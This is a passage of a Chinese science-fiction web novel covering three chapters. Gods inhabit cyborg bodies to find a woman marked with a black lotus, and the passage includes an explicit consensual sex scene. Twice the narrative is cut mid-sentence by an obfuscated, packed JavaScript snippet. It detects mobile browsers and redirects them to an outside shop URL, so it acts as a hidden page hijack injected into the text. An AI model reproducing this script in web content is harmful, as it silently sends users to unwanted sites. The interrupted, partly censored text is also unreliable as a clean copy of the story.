《莲花》 1. 第 1 章 “……所以你们打算让我走一趟?” 周围很暗,看不清那男人的相貌,只能辨认出他高大的身材。 和一双在黑暗中闪闪发光的奇异金瞳。 完全的纯金色,纯净清澈地挑不出一丝瑕疵。 那不是一双会存在于“摩诃”或“帝拜”的眼。 是的。 他似乎试图让对方改变主意。 “为什么四个人里偏挑中我?在‘须弥’我还很忙,而且我已几乎有两个世纪没去过摩诃。” 我们三票赞成通过——你是最适合的。 “三连神的决定从来也不会给出理由。”他耸了耸肩,“好像我没有选择的余地。” 利用你在摩诃建立的财团旗下的信息网络,可以很轻易地找到“那个人”。 “帝释天的跨国集团同样能找到你们指定的目标。”他指出事实。 但那样相对来说效率会低很多。现在的摩诃正处于三百年来最为混乱的时期,他在摩诃很忙,你是知道的。 “也是。”他低声说。 接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363280|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们的委托吧,反正,你也有两百多年没离开须弥了,不是吗? “没办法,看来只好答应了。”男人微微一笑,接着他的身影开始变淡。 我们这就安排你前往摩诃,你的化身已经准备就绪了。 意识渐渐模糊,他感到自己越来越轻,四周的强光将他吞噬。 在失去知觉前,他的耳边依旧回荡着三连神的声音。 找到那个身上有黑色莲花图案的人。 然后,尽你所能,守护她。 …… 2. 第 2 章 男人突然睁开了眼。 他躺在床上,不着一丝。 他面无表情地望着天花板。 他的眼睛充盈着淡金色,然而此刻他的眼却没有瞳孔,只是浑浊一片。 渐渐的,他眼中的金色凝聚在一起,表面的那层浑浊褪去后,出现的是一双精光湛然,完美无瑕的金瞳。 接着他看到了天花板——天花板上淡黄色的光柔和地照射着他的床。 他闻到了气味——是一股陌生的淡香,在他的床上和身上萦绕。 他听到了声音——顺着声音传来的方向他偏头望去,那是电视,正在播报早间新闻。 转头的时候,他听到自己的脖子里传来轻微的机械声。 据那些生化机械的开发者说,虽然静音减噪技术越来越成熟,但当人造人体内部产生机械运动时,仍然会产生声响——尽管这声音人类听不到。 ……世界集团近日透过各大媒体宣布,他们已经开发完成了第八代人造人体技术。和前七代技术相比,被命名为“克里希那”的第八代技术具备显而易见的优势:更灵活高效——进化后的工程技术和智能系统可令该系统更加完美地模拟人体,其程度几可乱真;更便于使用——任何人,包括从未使用过人造人体者,无需接受培训,通过十五分钟的练习即可迅速适应。除此之外更值得一提的是,克里希那系统…… ……世界集团是世界最大的从事军用/民用机械技术开发和生产的跨国集团公司,在该领域一直是无可争议的领跑者。世界集团现任最高执行官因陀罗·雷先生已连续十年在“最具影响力的世界十大风云人物”中榜上有名,身为世界首富,因陀罗·雷先生也一直致力于慈善事业…… 听到那个名字,男人扬了扬眉,将注意力重新拉回电视里的新闻报道上。 屏幕上出现了一个身材壮硕的巨人,他非常魁梧,簇拥在他身边的保镖顶多能够到他的肩膀。看着他一副凶巴巴的模样,脸上却还挂着和气的笑容,男人忍不住笑了。 想不到那家伙在摩诃选用的化身会是那副模样——跟他在须弥的本来面目相比简直是…… 从两百年前开始,天神在人间就开始逐渐废黜神明代言人,而用机械化身取而代之,而他恰好有两百年不曾来过摩诃,因此这也是他第一次正式使用自己的机械化身,起初的不适应也是情有可原的。 他下了床,光着脚走到落地镜前,打量着自己的身体。 这是一具完美的男性身躯:高大彪悍的体格,发达匀称的肌肉,英俊阳刚的脸孔,他活动着自己的手指,又摸了摸满是胡茬的下巴,然后瞄了自己的下身一眼。 短短两百年的时间,摩诃的科技水平和制造工艺已经发展到了如此地步? 其实,他之所以两百年来不想到人间来,很大一个原因,便是与化身的品质有关。 不过眼下看来,那家伙的公司,似乎已能造出不错的玩意了啊…… “您醒了?” 身后传来了一个女人的声音。 他转过身,金瞳毫不避讳地打量着面前的女人。 她又是谁? 他想起了那股陌生的香气。 女人裹着浴巾,身上带着沐浴后的湿热和馨香。 她的声线不错,是个美人。 透过浴巾他也能看出她拥有丰满的胸部,纤细的腰肢和修长的腿。她金发碧眼,是个具备纯正西方血统的白种女人。 “您醒得比平时要早。”面对男性的裸体她没有丝毫的不自在,径自走向床边的座椅,拿起一件宽大的睡袍向他走来。 “是吗。”他低沉地应着,让她为自己披上睡袍。 他完全不认识她,但她似乎很了解自己的样子——餐桌上摆放着泡沫奶茶、果酱和酥油薄饼,那也是他喜欢吃的东西,想不到两百年后的摩诃,一切都变了,唯独食物还是老样子。 不过,这种身体也需要吃东西的么? “与世界集团的董事长会面被安排在中午一点,因陀罗先生将在帕罗戴斯大酒店与您共进午餐。”她的话打断了他的胡思乱想。 这是他的秘书?可为什么她会在他的地方出现,照料他的起居? 另外,还与他发生□□上的关系? 当他在须弥忙得脑袋冒烟,无暇顾及摩诃的时候,他的化身在搞什么鬼? 她正要为他系上腰带,他忽然转过身,抓住了她的手。 那只手非常柔软,白皙的皮肤充满弹性,他抚摸着她的手,接着是她的手臂,然后是她的肩膀,脖子和胸部。 全都是“天然”的。 “你的身体,没有被改造的部分?”他疑惑地问。 她摇了摇头,同时眉梢微挑,像是在奇怪他为什么突然问这种问题。 “这个世界上并不是所有人都被改造过,我就是其中之一。”虽然有些惊诧,但她还是向他再一次说明,“我的身体没有残疾,也没有病痛,所以没有必要接受改造。” 接着她叹了口气,轻蹙着眉望着他: “您……又有些事情记不起来了,对吗?” 她的上司,这个在财团中拥有绝对权力的男人总是这样,有时会有出人意料的言谈举止,有时不太像自己,偶尔会出现记忆轻微混乱,所以他才会让她待在他身边,对此她早已习以为常了。 “原来如此。”他佯装“轻微失忆”,从她嘴里得知了大致的状况后才若有所思地点了点头。 “您还好吧?这次的情况好像比以前都严重呢。”她有些担心。 “啊,没关系……”他随意敷衍过去。 看来因陀罗那家伙的公司也不是万能的,至少这种化身和天神的意识仍然存在不完全兼容的地方——想必其他身处摩诃的天神们也会不时地面临这种困扰吧? “我为什么会选中你?”他又问。 “因为我是‘天然’的。”她笑了,“这个城市里身体没有接受任何改造的人已经很少了,但您指定只要‘天然’的女人。” “我们□□。”他眨了眨眼,“我挑选‘天然’的女人,是为了这个吗?” “也许吧?”她笑了,“其实,现在人造人体的技术很了不得,‘那方面’的感觉基本上已没什么差别了。” “我是不是在强迫你?”他不断地提出古怪的问题,“也许你并不愿意和我□□?” 她轻轻地捧着他棱角分明的脸。 “您对我很好——很多人都怕您,外面有各种关于您的传言,但我知道……” 她的声音突然一顿。 “你知道什么?”他把她搂在怀里,将厚实的手掌伸进她的浴巾。 “您……您是个温柔的人……”她完全经不住那男人的挑逗,呼吸立即急促起来。 “是吗?”他面无表情地问,“你叫什么?” “莉亚……”她躁动不安,出现了和刚沐浴后不同的湿热,如此之快她便要融化在他怀里,这令他暗暗吃惊。 看来,除了“天然”之外,他会挑中这女人还有一些其他的原因,他想。 “叫我的名字。”他淡淡地命令着。 “毗……毗沙门……”她喘息着。 “另外一个。”他将手插入她双腿之间。 “刹迦罗……”她雪白的胸膛剧烈地起伏着,“现……现在?” “今天我起得挺早,嗯?”他答非所问,大手顺着她的后颈向上推,五指绞着她金色的长发,闻着她的香气,搓揉着她不可思议的柔软,这令他兴奋。 真是有趣,人造的东西,竟连这也能忠实地反馈,略微的生涩感令他好奇,他想知道会有什么不同。 于是他抱起那女人,把她丢到床上,她的浴巾早已滑落,他也解开了自己的睡衣,高大的身躯逼近她,挡住了光线,阴影笼罩着他的脸,奇异的金色眼瞳几乎眯成一条缝。 莉亚呆呆地望着他,她并不害怕,这男人会用火山爆发般的情欲将她焚烧,但却不会伤她分毫,甚至体味过与他共度的夜晚后,她总会隐隐约约地期待下一次。 她只是奇怪——这与平时的他不一样。 现在的他似乎比以往更加不可捉摸,相同的外表下好像藏了更多的秘密,她在他身边呆了将近两年,今天还是头一次产生这种感觉。 发生了什么事吗? 在男人和女人的喘息中,电视新闻继续播放着。 ……昨天,阿什提市北部爆发了三个月以来最严重的暴力流血冲突,七名机械武装分子突然出现在北部第三十七贫民区,之后与警方发生激战,阿什提市第六警察分局全部警力倾巢出动,还甚至动用了被市政府下令禁止使用的重粒子炮,经过长达八个小时的激战才控制住了局面…… ……另据有关人士称,七名机械武装分子中有六名被当场击毙,剩下一名仍在活动中,第六分局已经封锁了整个第三十七区,发现任何可疑形迹的市民,请拨打第六分局紧急专线…… 蒸汽袅袅的浴室里,任由热水从头淋下,冲走方才轻微的疲惫。回味起先前的激情,他抿了抿嘴,唇角扬起了一丝淡淡的弧线。 果然……感觉还是很不一样的。 他好像开始有些喜欢这个身体了,虽然没有天神的本尊那样舒适自如,但以他这般挑剔的脾性,也并不感到排斥,可见其造得相当出色。 晚上见到因陀罗,该好好夸夸他才是。 两百年来,第一次回到摩诃,这个既熟悉又陌生的世界。 两百年来,第一次重新被称呼为“刹迦罗”——这个他只在人间使用的名字。 第一次使用自己在摩诃的人造化身。 第一次和人类女性发生性关系——虽然两个世纪前当他在摩诃逗留时也和人类女性做过同样的事,但使用这样的身体还是首次。 两百年前的摩诃女人,与现在相比又有什么不同呢? 究竟是个体的区别,还是由时间造就的迥异?两百年,对于永生的天神来说,不过是无常之中的一刹那,然而对于生存环境越来越艰苦以至于不得不用人造人体来延长生命的人类,却是承载了无数欢乐苦痛的漫长历史。 ……他究竟在胡思乱想些什么? 自嘲地笑笑,他抹了抹镜子上的雾水,一眼看到了自己胸前的莲花状纹身。 须弥中每位天神的□□上都有莲花图案的纹身,图案的形态、所在的身体部位和颜色都不一样,但这也不是独一无二的——在摩诃任何一个人都有可能选择这种极受欢迎的图案作为纹身。 摩诃中有六百多个国家,人口超过两百亿,被须弥的中央数据库记录的语言有四万多种,其中至少有一万五千种语言他因为疏于温习而已快遗忘……他上哪去找身上有黑色莲花图案的女人? 莉亚的身上没有这种东西——当然这是不可能的,倘若这样巧,三连神也没必要让他亲自来人间。 他在想的是:不可能让每个女人都像莉亚一样□□地躺在自己身边随便他做“身体检查”;哪怕再过五百年,在大街上随便拉住一位陌生女士叫她脱光衣服让他观看,也必然会被当作变态色魔然后被逮——使用人造化身的天神不能或仅能非常有限地使用特殊能力,这无疑大大给他的任务增加了难度,而最让他头疼的是,三连神并没有告诉他黑色莲花图案会在那女人身上的哪个部位。 即使他的毗沙门财团拥有整个摩诃最为发达的信息网络,同样需要相当长的时间。 不管怎样,还是先去财团里瞅两眼吧…… 他胡乱翻出一堆衣服,挑出清一色的纯黑的汗衫、长裤、手套、腰带、袜子和皮靴,然后披上了一件同样是黑色的长风衣。 他喜欢黑色。 太阳眼镜?当然要戴,他可不想让外面的人因为他那颜色与常人迥异的眼睛而大惊小怪。 阿什提市中心·瓦格纳区 一辆阿尔卡瓦总统级加长型豪华轿车行驶在四号主干道的第八十七层,上下左右前后共有六辆护卫车辆,里面塞满了装备精良的保镖。 和两百年前的私人专车相比,现在的更宽敞、更舒适、内部设施更加先进考究,定位导航系统、娱乐系统、信息系统等运用的全都是最尖端的科技,轿车的性能和外观绝对是超一流水平,充分体现了一代名车的风范——虽然要拥有这样一辆车需要付出的代价绝对不菲,然而一千两百万对于坐在车里的人来说不过是九牛一毛而已。 刹迦罗·毗沙门,全世界财力最为雄厚的毗沙门财团的所有者,也是整个摩诃最富有的人。 在一般大众心中,世界上最有钱的人是世界集团的执行长官因陀罗·雷,然而真正了解内幕的人都知道这只是表面——毗沙门财团是隐藏在幕后的强大力量,只有各国政府的要员和各大跨国集团公司的高层才有机会与毗沙门财团的人接触,毗沙门财团作为一种制约和平衡各方力量的存在,甚至可以被定义为维持世界秩序的强大组织。 刹迦罗望向车窗外,对着眼前陌生喧闹的世界愣怔出神。 高耸入云的建筑,如思绪般繁忙而迅捷的立体交通网络,像阿什提这样的超巨型城市,市中心海拔两百米至地表都是重污染区,其扩散速度有增无减,人类的生存点越来越高,摩诃到处都是这样的空中都市,一切都是自动化,人们将自己深深地藏匿在一层又一层的科技保护膜下,原本的面目模糊难辨。世界的节奏快得可怕,像他现在把大块大块的时间用来发呆,简直就是最不可思议的奢侈。 摩天大厦上有色形形色色的广告,其中当然以人造人体的宣传最为频繁。 想要更美丽的面孔却不想进行危险的整容手术?想要强壮的身体却又没时间从事艰苦的锻炼?身高不足?生殖器大小不令人满意?现在一切问题都能瞬间得到解决——只要拿起电话拨打世界公司的免费直销热线,您还在等什么呢? 具备划时代意义的克里希那系统,将给整个世界带来非同凡响的深刻变革,让残疾和绝症从此成为历史,让人类的生活更加美好。 一个人人都能拥有自己心目中完美形象的时代已经来临了,世界集团推出的自定义身体服务,让您美梦成真,真切体验不一样的个性生活。 眼花缭乱的广告一个接着一个地从眼前晃过,刹迦罗脑海里忽然冒出来一个问题。 十五分钟后,他抵达了酒店。 制服笔挺的服务生为他拉开车门,毕恭毕敬地说: “欢迎光临帕罗戴斯——刹迦罗·毗沙门先生,因陀罗·雷先生和希格玛先生已等候多时了。” 刹迦罗下了车,示意自己的保镖不要跟随,然后在那服务生的引领下走进了酒店大厅。 在他的印象中,两百年前似乎摩诃似乎还没有这样富丽堂皇至此的豪华酒店。一路上不断地有人和自己打招呼,行注目礼,还有索要签名和希望合影的人。 高速电梯在酒店顶楼停下,服务生带着他来到一个宴会厅前。 门口同样站满了保镖,一见到他便齐声问候,态度极为恭敬有礼。 “因陀罗先生和希格玛先生就在里面,请您进去吧。” “谢谢。”他微微颔首,之后一位保镖为他推开了门。 宽敞的宴会厅里却只有一张巨大圆形餐桌,两个人坐在桌边,一旁还有三张空着的椅子。 门一合上,其中那个巨大的人影便一下子从椅子上跳了起来,迈开大步朝刹迦罗走来。 “哇呀,看是谁来了?多闻,我们有多久没见了?整整有两百年了吧?” 刹迦罗身高约摸有一米九的样子,块头绝对不小,可那巨人还要比他高出半个头,身躯更是要大上好几圈,他看上去兴高采烈,伸出大手拍拍刹迦罗的肩膀,立即开始抱怨: “你在须弥一定很悠闲吧?唉,那像我们,在摩诃成天忙得死去活来……早知道是这样的苦差事,当初就不答应他们了,真是自讨苦吃哇!” “嘘,嘘——”刹迦罗笑着安抚那巨人,“瞧你兴奋的样子,在人间待了两百年,不是听说你已变得比较成熟了么?要是你那支堵在门外的军队看到他们的老板像个小孩似的蹦来蹦去,大概会被吓晕过去吧?” “嘿,反正门关着他们又看不到!”巨人插着腰,满不在乎,“两百年对天神来说……” “哪怕再过一千年一万年,你也还是个长不大的小男孩。”另外一个声音插了进来。 “哇咧!——”巨人一听这话就火冒三丈,正想反驳,那个带着笑意的声音又不禁不慢地说: “外表看上去的确很成熟,可是内在并没有什么改变呀……”接着那声音又问道,“怎样?多闻,我给你设计的化身,还用得习惯么?” “相当不错的身体。”刹迦罗向那人活动了几下手指,“跟天神本尊相比,几乎感觉不到什么差别了。” “很好。”那人笑道,“哦,来来,先吃点东西,就当给你接风了。两百年没见,都不知该从哪说起了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363281|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭桌上再好好聊吧。” “嗯。”刹迦罗点了点头,“伙计,我正好也有事想问你。” …… “再过两百年,摩诃会变成什么样?”那个俊美——甚至可以说是“美艳”的年轻男子奇怪地望着刹迦□□吗突然问这个?” 他便是被刹迦罗称为“伙计”的人,红发赤目,举止优雅,拥有任何方面看上去都无懈可击的完美。他在摩诃的名字是希格玛,和刹迦罗一样,他使用的也是自己在人间的机械化身,这具身体令无数机械体爱好者为之惊艳,不光是外表,他的化身上的任何一个细节都毫无瑕疵——世界集团的首席科技官,三代人造人体系统的领衔开发者,自己的身体就是一件殿堂级的艺术品。 当然,摩诃的人们是没有机会见到他的真面目的,他那具存放在须弥的天神本尊,比这具人造的身体更加不可思议。 “现在的摩诃和我两百年前所见到的,完全不一样了。”刹迦罗回想着一路上的所见所闻,“须弥成为了缥缈的神话,人类已经不再崇拜天神,他们现在没有也不需要信仰,只为自己心中的物欲而活,精神层面仅存的残迹寄托在了他们冰冷的创造物上——你令摩诃变成这样,为什么?” 希格玛漫不经心地用牙签戳着碟子里的橄榄。 “改变摩诃的不是我,而是人类自己,我所做的只是满足他们的愿望而已——这是经三连神表决通过的。” “人造人体的技术令他们获得了本不属于自己的力量,现在的人类开始逐渐失去死亡的概念,只要不断更换身体,就可以一直生存下去,同时他们拒绝生育,摩诃的生命循环在减缓,最终会变成怎样?”刹迦罗很少有兴致这样进行这样的讨论,但来到摩诃数小时之后,他对这话题很有兴趣。 “嗯,关于这个问题,我可以稍微说明一下……”浑厚粗犷的声音插了进来。 “你现在这个样子,再这样说话,当心把周围的人全都吓跑唷。”刹迦罗笑着对身旁那个身材雄伟的巨人说。 那巨人便是因陀罗·雷,刹迦罗的话令他有些不爽,粗声粗气地说: “我这个样子怎么啦,我喜欢这个身体,至少看起来很威猛,免得你们总是小看我!” “喂,你在须弥是三人之下众人之上的大人物,虽然看上去是小了点,可怎会有人敢小看你?那还不给你用雷劈成焦炭了?”刹迦罗笑道。 “可是我觉得你们有小看我。”巨人嘟哝着,“因为我看起来小,所以你们都不把我放在眼里……是啦,就是你们四个!尤其是你,多闻——不许笑!” “所以……你在人间就选了这么一具大力神似的身体?”刹迦罗皱着眉伸手摸了摸那巨人的头,仿佛一位在跟小弟弟说话的大哥哥,“哎,样子是很威猛没错,可还是有很多小孩子的动作会露馅呢……” “其实他在人间表现已经挺好了,直到现在还有人在调查他和□□有没有关系,据说他还曾经成功地把小孩吓哭过。”帅哥希格玛也凑过来打趣,“可是,好像他一见到我们就会原形毕露……” “看这肌肉!还有这胡子!”巨人瞪着眼咆哮着,“我已经是真正成熟的男人了!再嘲笑我,我就说脏话了!” “好了好了,不闹了。”刹迦罗哄着他,“现在我想听听你的说明,可以吗?” 因陀罗不吭声,对着盘子里的美食大块朵颐。 刹迦罗和希格玛交换了一个忍俊不禁的眼神,于是刹迦罗鼓励他: “啊,你吃东西的样子,倒是蛮粗犷的——真男人就该这样吃东西。” “真的?”因陀罗立即乐了,“说起来,人造人体的运用在摩诃还是非常有限的,你被阿什提的表面唬住了。” “是吗?”刹迦罗好奇地问,“为什么这样说?” “只有富人才承受得了整个更换身体的高昂开销,就算是阿什提这样科技发达的城市,还有五分之一的穷人用不起人造人体,另外还有数百万人处于偿还贷款的状态。”谈到这些,因陀罗便显得沉稳得多,“人造人体的技术最初是用来应对伤残和疾病的,直到现在也没有改变,大众花了数十年才基本接受了人造人体,但现在还有很多立场坚定的反人造人体团体。多闻,现在的摩诃,和你所想象的那种状况,还相差得很远。” “但听说你的公司也与警方和军队合作。”刹迦罗点了点头。 “最初也是为了帮助那些在战斗中残疾的警察和士兵,有些极个别的人接受了全身改造,那也是濒临死亡的重伤患自愿的。”因陀罗解释道,“现在军队和警方里凡是要接受我的公司进行人体改造的,都必须经过一系列手续进行确认才行——人类依然是非常小心保守的,如果没有伤残和病痛,一般人还是不会就这样抛弃自己原有的身体,即使不是经由自然分娩出生的人也一样。” 刹迦罗想到了莉亚。 “不过现在摩诃正处于一个很关键的时期,各种想法都有为数众多的簇拥。”希格玛十指交叠,慢条斯理地说,“所以,两百年后这个世界会变成什么样子,谁也说不准,也许一场国际范围的反人造人体运动之后,各国政府修改法律全面禁止也有可能;也有可能出现一场新的世界大战,或者是大瘟疫什么的,迫使人们为了生存做出选择,掀起一轮新的人造人体运用热潮也不一定——就看三连神的意思了。” “说到底,摩诃的命运依然掌握在我们手中。”刹迦罗淡淡地说。 “人类不相信和不知道的,不代表不存在。”希格玛嚼着橄榄,“看上去现在人类是在主宰自己,可实际上须弥的天神依然无处不在,最有影响力的跨国企业为天神所有,最为强势的财团其首脑是天神,为大众津津乐道的尖端科技其实也来自须弥……只是他们不知道而已。”接着他又补充了一句,“也没有必要让他们知道,反正人间的崇拜对我们也无关紧要。” “说得也是。”刹迦罗笑了笑,“一切都在三连神的掌控之中,只需按既定轨迹走下去即可,出现了偏差就进行修正,我们没什么好担心的。” “说说你的任务吧。”希格玛换了个话题,“实在抱歉,现在我们俗务缠身,否则三连神也不会派你重返人间的。” “没什么,下来走动走动也好,来了摩诃一小会,便已大开眼界。”刹迦罗凝视着杯中漂浮的茶叶,“关于这个任务他们透露得不多,只是要我在摩诃寻找一个身上有黑色莲花图案的女人。” “身上有黑色莲花图案的女人?”希格玛低声重复着,“就只有这样的提示?” “我现在没有一点头绪。”刹迦罗点了点头,“三连神说派我来摩诃是为了利用财团的信息网络,但我知道那不是真正原因。” “如果只有这样一个条件,你的信息网络也需要大量的时间进行筛选。”对于毗沙门财团的信息系统,作为主设计师的希格玛是再清楚不过了,“我想三连神不是要你去做机械分析,可能第二个、第三个条件很快就会出现,这样一来抛开庞大的候选基数,目标很容易便能确定了。” “希望如此。”刹迦罗沉默了一会,忽然又望着希格玛,开口道: “我有一种预感——没有根据的,只是直觉——这个女人也许和我有什么关系,你觉得呢?” “不排除这种可能,但也不能说明什么。”希格玛抿着唇,“你整整两百年未曾来过摩诃,这里除了我们,还会有什么人与你有关?” “女人耶——”因陀罗努力咽下嘴里的食物,笑嘻嘻地插嘴,“说不定找到她以后你会爱上她噢,说不定这是三连神有意安排的……” “别说了。”希格玛脸色微变,轻蹙着眉看了那巨人一眼。 “电影里都是这样演的哦,我看这次多闻告别钻石单身汉的可能性……” “够了,帝释天!”希格玛略微提高了声音。 巨人猛然意识到自己说错了话,连忙一把捂住嘴。 不过似乎还是迟了。 刹迦罗缓缓起身,走向巨大的落地窗,俯视着庞大的城市。 帕罗戴斯大酒店是阿什提第四高的建筑物,而他们现在正在酒店的最顶层,从这里向下眺望,确实有种俯视人间的感觉。 希格玛望着他的背影,却无言以对,回头用埋怨的目光瞪了因陀罗一眼。 那巨人见气氛一下子被自己弄僵,只好闭紧嘴巴,乖乖地埋着头。 “我爱的人……”许久,刹迦罗才缓缓开口。 “一千年前就已经死了。” 3. 第 3 章 阿什提·第三十七贫民区 一辆深银灰色的货柜卡车沿着一条小路驶进了贫民区。 小路的尽头是较开阔的地带,然而六七辆警车和十几名全副武装的警察却堵住了去路。 “三十七区已经实现全面封锁了,你们——” 没等那警察说完,卡车驾驶室的车窗打开,司机把脑袋探出来嚷嚷: “哎呀,我们一路上已经被盘问了不下二十次啦!我们是世界集团的,老板让我们过来帮忙的。” “帮忙?”问话的警察审视着那司机和他的大卡车,“帮什么忙?” “帮忙修理啊,昨天闹那么大乱子,贫民区里不少住户也遭殃了吧?这里的人可不见得都掏得起人造人体的维修费吧?”卡车司机戴着防护面罩,完全看不到相貌,说起话来嗡声嗡气,只能辨认出是个男人的嗓音,“对贫民区里的住户只收取更换零件费用的十分之一,修理费全免,这是我们老板传达下来的意思——奇怪,我们公司没有事先跟你们局长打过招呼吗?” “证件。”警察命令道,“把你的面罩取下来。” “我有呼吸道综合症,对外面污浊的空气过敏耶,这可是我的医生跟我说的。”司机抗议道,“要是我把面罩取下来出了生命危险,谁负责?” “取下来。”那警察重复了一遍,“医生说再严重的呼吸道综合症也可以在拉塞尔工业区的空气中撑半个钟头——除非你不想过去。” “真是位没人情味的警官……”司机低声嘟哝着。 “你说什么?” “没……没什么,喏,这是证件。” 司机从车窗里把证件递了过去,然后在自己后颈上按了一下,咻地一声,他的面罩如某种液体一般收进衣领,露出了面孔。 那是个看起来约摸四十来岁的中年男子,银灰色的短发,浅褐色的眼珠,左脸颊上有条码——人造人体使用者的标志。 警察用左手食指在证件的感应条上擦了一下,之后便目不转睛地盯着那男人脸上的条码。 “哦,这个。”他摸了摸脸,“年轻时出了车祸,所以只得更换人造人体。”他笑道,“这半边人造的脸更新换代了好几次,表情还是有点僵硬,哈哈……” “你不说的话,大概没人能看得出来吧。”警察的口气放缓了许多,“证件没什么问题,车上就你一个人吗?” “是啊,车上全都是更换用的零部件和维修工具,今天我的任务是修好三十个人……更换一整条腿只要四千块,虽然没新产品那么好用,可毕竟要便宜得多……像你们做警察的多好呀,供职期间凡是在执行公务时受损的人造人体一律免费维修或更换,非公务原因的也只收百分之二十的费用,而且总能用上最新型号……” “你说得倒好,知道现在的警察有多危险么?知道昨晚死了多少警察么?局里有个绰号叫‘不死身’的同僚,全身都经过改造,哪怕不穿防弹衣也不怕枪子儿,可昨天一上来就被杀了——”说到这里,那警察压低声音问,“你知道他怎么死的么?” “怎么死的?” “脑袋被捏碎了。”那警察低声说,“听说他的头骨是用超合金强化过的,一下能磕碎五块半尺厚的石砖,可在那群怪物面前一点用也没有,听说那东西一把就把他的脑袋给活活扯下来,然后咯吱一下就捏爆了,就好像捏气球似的,白花花的脑浆溅了一地……”他瞪着眼,冲那司机不断地比划着,“你说说,没了脑袋,免费更换身体还有什么用?” “……我还是先去完成工作比较好。”那男人张口结舌,半响才冒出这么一句。 “走吧。”警察把证件递还给他,挥了挥手。 他重新用面罩遮住了自己的脸,发动引擎,巨大的货柜卡车在众警察的注视下缓缓朝贫民区内部开去。 阿什提市的贫民区多是由被弃置的旧城区演变而来,据说光是第三十四贫民区里就住着二十八万人,无论是生活习惯还是意识形态,依然保留着许多上个世纪的影子,由于不受政府控制,因而成了犯罪滋长的温床。 “要是在平时,这种乱子再大上几倍警察也不会这么大动干戈的。”男人边开车边说,“是‘阿修罗’,一定是。” “伊诺,好像每次遇上这种事情,你就特别来劲似的。”一个年轻女性的声音从他身后传来。 “你又在车上吸烟了?”被称作伊诺的男人有些恼火,“卡玛,我跟你说过多少次了,不要在车上吸烟,尤其是在货柜里!” “说得好像这车是你的一样。”被称作卡玛的女子说。 “呃……就算是你的车也一样,要知道,摩诃的大气污染越来越严重……” “卡狮蒂尼薄荷香烟改进型,女士专用,无烟灰设计,通过世界环保认证,有什么问题吗?” “可是抽烟的话对身体总是不好。”伊诺的声音小了很多。 “身体有什么地方出了问题,换掉就可以了,现在一个性能优良的肺三千五百块就能成交,或者更低?你应该比我清楚。” “你总有道理。”伊诺嘀咕着。 “说说你的‘阿修罗’吧。”卡玛的声音继续从驾驶座后传来,“媒体提供的消息是有几个来历不明的机械武装分子袭击了这里,之后和警察大战,这新闻怎会又让你产生了那种联想?” “除了阿修罗不会是别的。”伊诺又眉飞色舞起来,“想想看,平常贫民区里就算出了天大的事也看不到半个警察,为什么仅仅是六个人就让整个警察分局倾巢而出?而且新闻上还说他们动用了重离子炮……” “也许他们跟某个隐秘的恐怖组织有关,说不定政府早就盯上他们了,所以他们一有动静就立即派出大批人马,这似乎没什么好奇怪的。”卡玛望着窗外,阴影遮住了她的脸,“每次你听到这种消息就说是‘阿修罗’,可是伊诺,阿修罗是神话中的魔鬼,在现实中是不存在的。” “可……” “好了好了,我不想跟神话博士争辩,我只是想说:在没有找到证据来支持你的假说之前,拜托你不要言必称阿修罗,认识你的人习惯了也就没什么,不知情的还以为你患有妄想症——就好像那些每隔一段时间就会跳出来宣称末世论的‘预言家’们一样。” “卡玛,那些东西已经出现了将近十五年,可他们究竟是些什么东西、从哪里来、为什么拥有那种恐怖的力量、为什么他们每次被毁坏后就都会神秘消失得不留一丝痕迹……和他们有关的任何一个问题直到现在也没有答案,直觉告诉我这些东西之间肯定不是孤立的,说不定在它们背后还隐藏着什么惊人的秘密呢。” “嗯,我宁愿相信这‘惊人的秘密’与政府军方有关。”卡玛笑道,“至少可信度比你的阿修罗论要高那么一点点。” “卡玛!”伊诺伤心地喊。 “我们到了,卖力工作吧。”卡玛拍拍伊诺的肩膀,接着转头对着驾驶室后的车厢里嘱咐道: “阿汉,待在车里,不要出来。” 不需要越过隔离线也能看到事故现场简直是一团糟,警察与那些机械武装分子正面交锋的区域里几乎没有留下什么完好的东西,到处都是残桓断壁,路面上仅直径超过十五米的盾形圆坑就有不下七八个,八成是使用重粒子炮攻击时留下的。 那辆有着世界集团公司标志的大货柜卡车一停下来,便立即有一群人围了上去。 “你们……你们是机械师吗?”其中一个身材高大,只有一只眼睛的光头男人压低声音,小心地试探着。 “没错。”伊诺下了车,“我们是专门修理人造人体的机械师。”然后他也压低声音,盯着面前那男人。 “私人性质的那种。” “那么……” “价钱方面请不用担心,‘黑工’的收费一向低廉。”卡车车厢上的门开了,一个年轻的女子下了车。 她个子很高,四肢修长,肤色白皙得不可思议。蓝色的头发削得很短很薄,眼珠也是蓝色——她似乎非常喜欢蓝色,嘴唇和指甲使用的也是蓝色系的淡妆,她穿着墨蓝色的长皮衣,黑色的紧身皮裤和皮靴。 她的左耳穿着两个耳环,还有一个空着的耳洞,她衔着一根烟,面无表情地打量着面前的一群人。 一见到她,包括那个牛高马大的光头男人在内,一群人都下意识地朝后退了退。 卡玛踩灭了烟,双手交叉在胸前,垂着眼淡淡地说: “功能障碍的维修一律免修理费,只收取更换零件的成本,第七代以前的——不包括第七代——零件按现在市面价格的十分之一收费,如果是使用第七代或最新一代的价钱另外讨论。脑部的维修工作我们不接,天然人体的伤害也不在我们的工作范围之内。” 光头男人一听她这样说便傻了眼,愣在原地。 “怎么?”卡玛问。 